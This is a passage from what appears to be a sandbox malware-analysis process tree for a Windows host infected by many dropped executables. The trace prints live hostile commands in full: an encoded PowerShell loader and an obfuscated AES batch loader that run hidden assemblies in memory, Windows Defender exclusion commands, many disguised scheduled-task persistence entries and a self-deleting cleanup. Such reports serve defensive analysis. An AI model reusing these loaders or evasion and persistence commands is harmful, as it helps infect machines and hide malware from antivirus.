"[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCg0KDQokZW5jb2RlZEFycmF5ID0gQCgxNTksMjIwLDIzOCwyMzgsMjI0LDIzMiwyMjEsMjMxLDI0NCwxNjksMTkyLDIzMywyMzksMjM3LDI0NCwyMDMsMjM0LDIyOCwyMzMsMjM5LDE2OSwxOTYsMjMzLDI0MSwyMzQsMjMwLDIyNCwxNjMsMTU5LDIzMywyNDAsMjMxLDIzMSwxNjcsMTU5LDIzMywyNDAsMjMxLDIzMSwxNjQsMTgyKQ0KJGRlY29kZWRTdHJpbmcgPSBDb252ZXJ0LUFzY2lpVG9TdHJpbmcgJGVuY29kZWRBcnJheQ0KDQoNCiRmaWxlUGF0aCA9IEpvaW4tUGF0aCAkZW52OlVzZXJQcm9maWxlICJleHBsb3Jlci5iYXQiDQokbGFzdExpbmUgPSBHZXQtQ29udGVudCAtUGF0aCAkZmlsZVBhdGggfCBTZWxlY3QtT2JqZWN0IC1MYXN0IDENCiRjbGVhbmVkTGluZSA9ICRsYXN0TGluZSAtcmVwbGFjZSAnXjo6Jw0KJHJldmVyc2UgPSBSZXZlcnNlU3RyaW5nICRjbGVhbmVkTGluZQ0KJGRlY29tcHJlc3NlZEJ5dGUgPSBEZWNvbXByZXNzQnl0ZXMgLWNvbXByZXNzZWREYXRhICRyZXZlcnNlDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQpJbnZva2UtRXhwcmVzc2lvbiAkZGVjb2RlZFN0cmluZw0KDQpDbG9zZS1Qcm9jZXNzIC1Qcm9jZXNzTmFtZSAiY21kIg==')) | Out-File -FilePath 'C:\Users\Admin\explorer.ps1' -Encoding UTF8"
5⤵
PID:4932

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\explorer.ps1"
5⤵
PID:1044

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
6⤵
PID:1896

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
6⤵
PID:3836

C:\Users\Admin\AppData\Local\Temp\a\Opera_109.0.5097.38_Autoupdate_x64.exe
"C:\Users\Admin\AppData\Local\Temp\a\Opera_109.0.5097.38_Autoupdate_x64.exe"
2⤵
PID:4196

C:\Users\Admin\AppData\Local\Temp\a\toolspub1.exe
"C:\Users\Admin\AppData\Local\Temp\a\toolspub1.exe"
2⤵
PID:1596

C:\Users\Admin\AppData\Local\Temp\a\crypted_69a30000.exe
"C:\Users\Admin\AppData\Local\Temp\a\crypted_69a30000.exe"
2⤵
PID:5688

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:6008

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:1380

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:5348

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:5516

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:5352

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:5408

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:2912

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:5740

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5688 -s 800
3⤵
- Program crash
PID:2816

C:\Users\Admin\AppData\Local\Temp\a\Pgp-Soft.exe
"C:\Users\Admin\AppData\Local\Temp\a\Pgp-Soft.exe"
2⤵
PID:1484

C:\Users\Admin\AppData\Local\Temp\ckz_8CRM\nds.exe
"C:\Users\Admin\AppData\Local\Temp\ckz_8CRM\nds.exe"
3⤵
PID:3480

C:\Users\Admin\AppData\Local\Temp\ckz_8CRM\nds.exe
"C:\Users\Admin\AppData\Local\Temp\ckz_8CRM\nds.exe"
4⤵
PID:984

C:\Users\Admin\AppData\Local\Temp\a\garits.exe
"C:\Users\Admin\AppData\Local\Temp\a\garits.exe"
2⤵
PID:5648

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
"Powershell.exe" -exec bypass -c Copy-Item 'C:\Users\Admin\AppData\Local\Temp\a\garits.exe' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\garits.exe' -Force
3⤵
PID:796

C:\Users\Admin\AppData\Local\Temp\a\current.exe
"C:\Users\Admin\AppData\Local\Temp\a\current.exe"
2⤵
PID:3308

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3308 -s 400
3⤵
- Program crash
PID:5600

C:\Users\Admin\AppData\Local\Temp\a\test.exe
"C:\Users\Admin\AppData\Local\Temp\a\test.exe"
2⤵
PID:452

C:\Users\Admin\AppData\Local\Temp\a\123.exe
"C:\Users\Admin\AppData\Local\Temp\a\123.exe"
2⤵
PID:5248

C:\Users\Admin\AppData\Local\Temp\a\sarra.exe
"C:\Users\Admin\AppData\Local\Temp\a\sarra.exe"
2⤵
PID:5660

C:\Users\Admin\AppData\Local\Temp\a\JSIDBWSJK.exe
"C:\Users\Admin\AppData\Local\Temp\a\JSIDBWSJK.exe"
2⤵
PID:4236

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp758A.tmp.bat" "
3⤵
PID:1852

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\tmp758A.tmp.bat"
4⤵
PID:5812

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\tmp758A.tmp.bat';$IKhK='MahibHihibHnhibHModhibHulhibHehibH'.Replace('hibH', ''),'GetQgnnCuQgnnrrQgnneQgnnntPQgnnroQgnnceQgnnsQgnnsQgnn'.Replace('Qgnn', ''),'EleVKaqmVKaqeVKaqntVKaqAtVKaq'.Replace('VKaq', ''),'ReaXrSRdLiXrSRnXrSResXrSR'.Replace('XrSR', ''),'DeDwcdcDwcdomDwcdpDwcdreDwcdsDwcdsDwcd'.Replace('Dwcd', ''),'CVrqZreaVrqZtVrqZeVrqZDVrqZecVrqZryVrqZptoVrqZrVrqZ'.Replace('VrqZ', ''),'ChXNvfaXNvfnXNvfgXNvfeEXNvfxteXNvfnsXNvfiXNvfonXNvf'.Replace('XNvf', ''),'SpHdEMlitHdEM'.Replace('HdEM', ''),'EnFMIKtFMIKryFMIKPFMIKoiFMIKntFMIK'.Replace('FMIK', ''),'CCPxDopCPxDyCPxDToCPxD'.Replace('CPxD', ''),'InLeisvLeisokLeiseLeis'.Replace('Leis', ''),'TzEulranzEulszEulfzEulorzEulmzEulFzEulinzEulazEullBzEullozEulckzEul'.Replace('zEul', ''),'LMYvEoMYvEaMYvEdMYvE'.Replace('MYvE', ''),'FrgPovomgPovBgPovagPovsgPove64gPovStgPovrgPovigPovnggPov'.Replace('gPov', '');powershell -w hidden;function Wjvpz($DSMeA){$LRUPP=[System.Security.Cryptography.Aes]::Create();$LRUPP.Mode=[System.Security.Cryptography.CipherMode]::CBC;$LRUPP.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$LRUPP.Key=[System.Convert]::($IKhK[13])('hbO8R88HBl6x9E1ChjrqAUcnoAC3B8p99JSIvXSwQuY=');$LRUPP.IV=[System.Convert]::($IKhK[13])('5zVFVvVJKQyl6Cns03Obiw==');$folEv=$LRUPP.($IKhK[5])();$SLWGx=$folEv.($IKhK[11])($DSMeA,0,$DSMeA.Length);$folEv.Dispose();$LRUPP.Dispose();$SLWGx;}function TImJD($DSMeA){$gpnDG=New-Object System.IO.MemoryStream(,$DSMeA);$hLGlZ=New-Object System.IO.MemoryStream;$KsXZc=New-Object System.IO.Compression.GZipStream($gpnDG,[IO.Compression.CompressionMode]::($IKhK[4]));$KsXZc.($IKhK[9])($hLGlZ);$KsXZc.Dispose();$gpnDG.Dispose();$hLGlZ.Dispose();$hLGlZ.ToArray();}$Ewgsd=[System.IO.File]::($IKhK[3])([Console]::Title);$WuYWe=TImJD (Wjvpz ([Convert]::($IKhK[13])([System.Linq.Enumerable]::($IKhK[2])($Ewgsd, 5).Substring(2))));$NZPxf=TImJD (Wjvpz ([Convert]::($IKhK[13])([System.Linq.Enumerable]::($IKhK[2])($Ewgsd, 6).Substring(2))));[System.Reflection.Assembly]::($IKhK[12])([byte[]]$NZPxf).($IKhK[8]).($IKhK[10])($null,$null);[System.Reflection.Assembly]::($IKhK[12])([byte[]]$WuYWe).($IKhK[8]).($IKhK[10])($null,$null); "
5⤵
PID:3220

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
5⤵
PID:2824

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
6⤵
PID:5508

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\tmp758A.tmp')
6⤵
PID:3440

C:\Users\Admin\AppData\Local\Temp\a\Locker.exe
"C:\Users\Admin\AppData\Local\Temp\a\Locker.exe"
2⤵
PID:4772

C:\Users\Admin\AppData\Local\Temp\a\eeee.exe
"C:\Users\Admin\AppData\Local\Temp\a\eeee.exe"
2⤵
PID:1288

C:\Users\Admin\AppData\Local\Temp\a\inte.exe
"C:\Users\Admin\AppData\Local\Temp\a\inte.exe"
2⤵
PID:5468

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5468 -s 780
3⤵
- Program crash
PID:2300

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5468 -s 820
3⤵
- Program crash
PID:4176

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5468 -s 820
3⤵
- Program crash
PID:4940

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5468 -s 844
3⤵
- Program crash
PID:4992

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5468 -s 1040
3⤵
- Program crash
PID:4176

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5468 -s 1052
3⤵
- Program crash
PID:5368

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5468 -s 1432
3⤵
- Program crash
PID:2268

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im "inte.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\a\inte.exe" & exit
3⤵
PID:6012

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5468 -s 1372
3⤵
- Program crash
PID:5680

C:\Users\Admin\AppData\Local\Temp\a\XClient.exe
"C:\Users\Admin\AppData\Local\Temp\a\XClient.exe"
2⤵
PID:5092

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\a\XClient.exe'
3⤵
PID:2820

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
3⤵
PID:4864

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\WindowsHealthSystem.exe'
3⤵
PID:928

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'WindowsHealthSystem.exe'
3⤵
PID:5600

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3856 -ip 3856
1⤵
PID:1608

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 356 -p 3856 -ip 3856
1⤵
PID:1100

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:916

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 4884 -ip 4884
1⤵
PID:3504

C:\Windows\svchost.exe
C:\Windows\svchost.exe
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2180

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 400 -p 4936 -ip 4936
1⤵
PID:3416

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 5020 -ip 5020
1⤵
PID:3444

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 5724 -ip 5724
1⤵
PID:5808

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 380 -p 5748 -ip 5748
1⤵
PID:2796

C:\Users\Admin\AppData\Roaming\OneDrive.exe
C:\Users\Admin\AppData\Roaming\OneDrive.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5436

C:\Program Files (x86)\Microsoft Jufbhx\Jufrxnb.exe
"C:\Program Files (x86)\Microsoft Jufbhx\Jufrxnb.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5380

C:\Program Files (x86)\Microsoft Jufbhx\Jufrxnb.exe
"C:\Program Files (x86)\Microsoft Jufbhx\Jufrxnb.exe"
2⤵
- Executes dropped EXE
- Enumerates connected drives
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:6128

C:\Program Files (x86)\Microsoft Jufbhx\Jufrxnb.exe
"C:\Program Files (x86)\Microsoft Jufbhx\Jufrxnb.exe"
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1568

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1568 -s 596
3⤵
- Program crash
PID:5828

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5380 -s 676
2⤵
- Program crash
PID:6032

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 5684 -ip 5684
1⤵
PID:6124

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 5380 -ip 5380
1⤵
PID:5832

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 1568 -ip 1568
1⤵
PID:5736

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 5016 -ip 5016
1⤵
PID:3308

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 5016 -ip 5016
1⤵
PID:2120

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 5524 -ip 5524
1⤵
PID:5804

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 5900 -ip 5900
1⤵
PID:6132

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 4432 -ip 4432
1⤵
PID:5404

C:\Users\Admin\AppData\Roaming\OneDrive.exe
C:\Users\Admin\AppData\Roaming\OneDrive.exe
1⤵
PID:4672

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 400 -p 440 -ip 440
1⤵
PID:3840

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 1288 -ip 1288
1⤵
PID:1308

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 1288 -ip 1288
1⤵
PID:5356

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "msdtcm" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\msdtc.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:304

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "msdtc" /sc ONLOGON /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\msdtc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2424

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "msdtcm" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\msdtc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2324

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "uzs.1u" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Adobe\Acrobat Reader DC\Esl\uzs.1.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1780

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "uzs.1" /sc ONLOGON /tr "'C:\Program Files (x86)\Adobe\Acrobat Reader DC\Esl\uzs.1.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5756

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "uzs.1u" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Adobe\Acrobat Reader DC\Esl\uzs.1.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4228

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "powershellp" /sc MINUTE /mo 5 /tr "'C:\Users\Public\powershell.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1260

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "powershell" /sc ONLOGON /tr "'C:\Users\Public\powershell.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:6104

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "powershellp" /sc MINUTE /mo 12 /tr "'C:\Users\Public\powershell.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2612

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "ttt01t" /sc MINUTE /mo 11 /tr "'C:\Users\Admin\Documents\ttt01.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3120

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "ttt01" /sc ONLOGON /tr "'C:\Users\Admin\Documents\ttt01.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5540

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "ttt01t" /sc MINUTE /mo 13 /tr "'C:\Users\Admin\Documents\ttt01.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1828

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 14 /tr "'C:\odt\csrss.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4108

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\odt\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5352

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 14 /tr "'C:\odt\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1396

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 9 /tr "'C:\Windows\Performance\WinSAT\RuntimeBroker.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5052

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Windows\Performance\WinSAT\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2552

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 8 /tr "'C:\Windows\Performance\WinSAT\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2912

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 8 /tr "'C:\BlockComponentwebMonitordhcp\sppsvc.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5888

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\BlockComponentwebMonitordhcp\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4928

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 5 /tr "'C:\BlockComponentwebMonitordhcp\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2120

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Internet Explorer\Registry.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:228

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Registry" /sc ONLOGON /tr "'C:\Program Files (x86)\Internet Explorer\Registry.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:6040

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Internet Explorer\Registry.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5236

C:\ProgramData\ndfbaljqaqzm\dckuybanmlgp.exe
C:\ProgramData\ndfbaljqaqzm\dckuybanmlgp.exe
1⤵
PID:3484

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
2⤵
PID:244

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
2⤵
PID:5196

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
2⤵
PID:2140

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
2⤵
PID:5700

C:\Windows\system32\conhost.exe
C:\Windows\system32\conhost.exe
2⤵
PID:5996

C:\Windows\system32\svchost.exe
svchost.exe
2⤵
PID:5976

C:\Users\Admin\AppData\Roaming\grhgjhjh\grhgjhjh.exe
C:\Users\Admin\AppData\Roaming\grhgjhjh\grhgjhjh.exe
1⤵
PID:2960

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
2⤵
PID:5500

C:\Windows\system32\cmd.exe
"cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\grhgjhjh"
2⤵
PID:1776

C:\Windows\system32\cmd.exe
"cmd" /c schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\grhgjhjh\grhgjhjh.exe'" /f
2⤵
PID:5288

C:\Windows\system32\schtasks.exe
schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\grhgjhjh\grhgjhjh.exe'" /f
3⤵
- Creates scheduled task(s)
PID:2212

C:\Windows\system32\cmd.exe
"cmd" /c copy "C:\Users\Admin\AppData\Roaming\grhgjhjh\grhgjhjh.exe" "C:\Users\Admin\AppData\Roaming\grhgjhjh\grhgjhjh.exe"
2⤵
PID:5000

C:\Users\Admin\AppData\Roaming\OneDrive.exe
C:\Users\Admin\AppData\Roaming\OneDrive.exe
1⤵
PID:1756

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 5688 -ip 5688
1⤵
PID:5540

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 3308 -ip 3308
1⤵
PID:3148

C:\Windows\system32\cmd.exe
